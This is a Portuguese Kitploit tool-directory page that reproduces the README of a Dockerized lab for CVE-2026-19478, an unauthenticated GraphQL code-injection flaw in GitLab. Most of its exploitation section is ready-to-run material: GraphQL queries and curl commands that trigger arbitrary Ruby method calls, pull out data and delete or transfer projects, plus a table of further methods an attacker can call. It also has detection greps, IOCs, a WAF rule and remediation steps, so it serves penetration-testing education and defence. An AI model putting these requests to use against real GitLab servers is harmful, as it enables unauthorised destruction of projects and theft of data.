Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Gitlab-CVE-2026-19478 — Laboratório de exploits dockerizado e script para CVE-2026-19478, uma injeção crítica de código GraphQL não autenticada no GitLab que permite chamadas arbitrárias de métodos Ruby, exclusão de projetos e exfiltração de dados. | Kitploit
Ferramentas/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Laboratório de exploits dockerizado e script para CVE-2026-19478, uma injeção crítica de código GraphQL não autenticada no GitLab que permite chamadas arbitrárias de métodos Ruby, exclusão de projetos e exfiltração de dados.

Ver Repositório
há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-19478 — Injeção de Diretiva @gl_introduced no GraphQL do GitLab

Injeção Remota de Código sem Autenticação via Diretiva GraphQL no GitLab CE/EE — Exclua Qualquer Projeto Público com uma Única Requisição HTTP

Um laboratório prático de testes de penetração que reproduz o CVE-2026-19478, uma vulnerabilidade crítica (CVSS 9.4) na API GraphQL do GitLab. A diretiva @gl_introduced permite que atacantes não autenticados executem métodos Ruby arbitrários em objetos no lado do servidor — incluindo exclusão de projetos, exfiltração de dados e transferência de propriedade — sem nenhuma autenticação.

Este laboratório executa, em Docker, uma instância real e vulnerável do GitLab CE 19.2.0 para uma prática realista de exploração.

Índice

  • Resumo da Vulnerabilidade
  • Como Funciona a Exploração
  • Diagrama do Fluxo do Ataque
  • Configuração do Laboratório
  • Guia de Exploração
  • Uso do Script de Exploit
  • Detecção e Indicadores de Comprometimento
  • Remediação
  • Referências
  • Aviso Legal
  • Conecte-se Conosco

Resumo da Vulnerabilidade

Baixar ferramenta
CampoValor
ID do CVECVE-2026-19478
Pontuação CVSS9.4 (Crítico)
ProdutoGitLab Community Edition (CE) / Enterprise Edition (EE)
Tipo de VulnerabilidadeInjeção de Código / Execução Arbitrária de Métodos (CWE-94)
Vetor de AtaqueRede (Remoto)
AutenticaçãoNenhuma exigida
Interação do UsuárioNenhuma
Complexidade do AtaqueBaixa
Versões Afetadas18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Versões Corrigidas18.11.11, 19.0.8, 19.1.6, 19.2.4
Descoberto Porhiimguardian (via HackerOne)
Data da Correção17 de agosto de 2026

Impacto

Um atacante remoto não autenticado pode:

  • Excluir permanentemente qualquer projeto público
  • Exfiltrar dados internos, tokens de administrador e segredos
  • Modificar a visibilidade, a propriedade e as configurações de projetos
  • Executar métodos Ruby arbitrários no modelo Project no lado do servidor
  • Arquivar ou transferir projetos sem autorização

Como Funciona a Exploração

A Diretiva @gl_introduced

O GitLab usa uma diretiva GraphQL personalizada @gl_introduced(version: "X.Y") para dar suporte a implantações contínuas (rolling deployments). Quando uma versão mais recente do GitLab adiciona um campo à API GraphQL, instâncias mais antigas tratam consultas que referenciam esses novos campos de forma graciosa, retornando null em vez de gerar erro.

O Caminho de Código Vulnerável

Arquivo: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Linhas 14-36)

Análise passo a passo:

  1. O FutureFieldFilter examina as consultas GraphQL recebidas. Quando um campo possui @gl_introduced(version) com uma versão mais recente que a do servidor atual, ele remove o campo e define context[:contain_future_fields] = true.

  2. O IntroducedTracer restaura o documento de consulta original no momento da execução, recolocando os campos removidos de volta na AST.

  3. O FutureFieldFallback#get_field intercepta toda busca de campos durante a execução. Ele verifica três condições:

    • A flag contain_future_fields está definida? ✅
    • O campo está ausente no esquema? ✅
    • O nome NÃO começa com __? ✅
    • O nome do campo é seguro? ❌ Não existe nenhuma verificação!
  4. Quando todas as três verificações passam, ele sintetiza um novo GraphQL::Schema::Field sem classe de resolver.

  5. No graphql-ruby, um campo sem resolver é resolvido chamando object.public_send(field_name) no objeto Ruby subjacente — convertendo o nome do campo do atacante em uma chamada de método arbitrária no modelo Project do ActiveRecord.

A Correção (19.2.4+)

A correção do GitLab substitui o despacho implícito de métodos por um NilResolver explícito que retorna nil incondicionalmente, preservando a compatibilidade com implantações contínuas e eliminando a execução arbitrária de métodos:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Diagrama do Fluxo do Ataque

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Configuração do Laboratório

Pré-requisitos

  • Docker e Docker Compose instalados
  • Mínimo de 4 GB de RAM disponíveis para o Docker (o GitLab consome muitos recursos)
  • Python 3 (para o script de exploit)
  • Navegador web ou curl / httpie para testar a API

Início Rápido — GitLab CE 19.2.0 Real (Vulnerável)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Pontos de Acesso

ServiçoURLCredenciais
Interface Web do GitLabhttp://localhostroot / P@ssw0rd123!
API GraphQLhttp://localhost/api/graphqlNenhuma exigida
Explorador GraphQLhttp://localhost/-/graphql-explorerLogin necessário
SSHlocalhost:2222—

Alternativa Leve (Simulada)

Para máquinas com recursos limitados ou para uma inicialização mais rápida:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

Parar / Redefinição Completa

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

Guia de Exploração

Nível 1 — Reconhecimento (Não Autenticado)

Verifique a versão do servidor:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

Enumere os projetos públicos via GraphQL (sem autenticação):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Descubra a diretiva @gl_introduced por meio da introspecção de esquema:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Nível 2 — Acionar a Vulnerabilidade

Use @gl_introduced com uma versão futura em um campo que não existe no esquema:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

Se vulnerável, class retorna o nome da classe Ruby ("Project"), confirmando o despacho arbitrário de métodos.

Nível 3 — Exfiltração de Dados

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Nível 4 — Exploração Destrutiva

AVISO: A ação a seguir excluirá permanentemente o projeto.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

Outros métodos exploráveis no modelo Project do GitLab:

MétodoImpacto
destroyExclui permanentemente o projeto
archiveArquiva o projeto
transferTransfere a propriedade do projeto
attributesDespeja todos os atributos do banco de dados
repositoryAcessa o objeto do repositório
membersLista os membros do projeto

Exemplos com curl

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Detecção e Indicadores de Comprometimento

Análise de Logs

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Indicadores de Comprometimento (IOC)

IndicadorDescrição
@gl_introduced(version: "99.0")Tentativa de exploração com versão irrealisticamente alta
Nomes de campos: destroy, delete, update, transferVisando métodos destrutivos do ActiveRecord
Exclusões inesperadas de projetosProjetos desaparecendo sem ação do administrador
Alterações de visibilidadeProjetos públicos repentinamente se tornando privados
Transferências de propriedadeProjetos transferidos para usuários desconhecidos

Regras de WAF

Bloqueie requisições GraphQL que contenham @gl_introduced com números de versão altos:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Remediação

  1. Aplique o patch imediatamente — Atualize para o GitLab 18.11.11+, 19.0.8+, 19.1.6+ ou 19.2.4+
  2. Mitigação no WAF — Bloqueie requisições GraphQL que contenham @gl_introduced com strings de versão altas no nível do proxy reverso/WAF
  3. Auditoria de logs — Revise os logs de atividade dos projetos em busca de modificações, exclusões ou alterações de visibilidade não autorizadas
  4. Logs de acesso — Pesquise nos logs do servidor web por padrões de exploração (veja a seção Detecção acima)
  5. Resposta a incidentes — Se a exploração for confirmada, verifique se houve exfiltração de dados e restaure os projetos excluídos a partir dos backups


Créditos do PoC

CVE-2026-19478

Referências

  • Aviso de Segurança do GitLab — 17 de agosto de 2026
  • OWASP A03:2021 — Injection
  • CWE-94: Improper Control of Generation of Code (Code Injection)
  • OX Security: Análise dos CVEs do GraphQL do GitLab
  • Help Net Security: Falha Crítica no GitLab
  • CyCognito: Aviso de Ameaça Emergente
  • The Hacker News: Falha Crítica no GraphQL do GitLab

Aviso Legal

Este laboratório foi construído exclusivamente para educação em segurança autorizada e treinamento de testes de penetração. Ele deve ser usado somente em ambientes controlados e isolados que você possua ou para os quais tenha autorização escrita explícita para testar.

Não use as técnicas, ferramentas ou o código de exploit deste laboratório contra qualquer sistema sem a devida autorização. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em todo o mundo.

Os autores e contribuidores não são responsáveis por qualquer uso indevido ou dano causado por este laboratório ou seu conteúdo.


Conecte-se Conosco

Follow on Instagram   Connect on LinkedIn

Siga @pwnsystem no Instagram para dicas diárias de cibersegurança, análises de CVEs e demonstrações passo a passo de exploits.
Conecte-se com Punit Darji no LinkedIn para insights profissionais de segurança e atualizações do laboratório.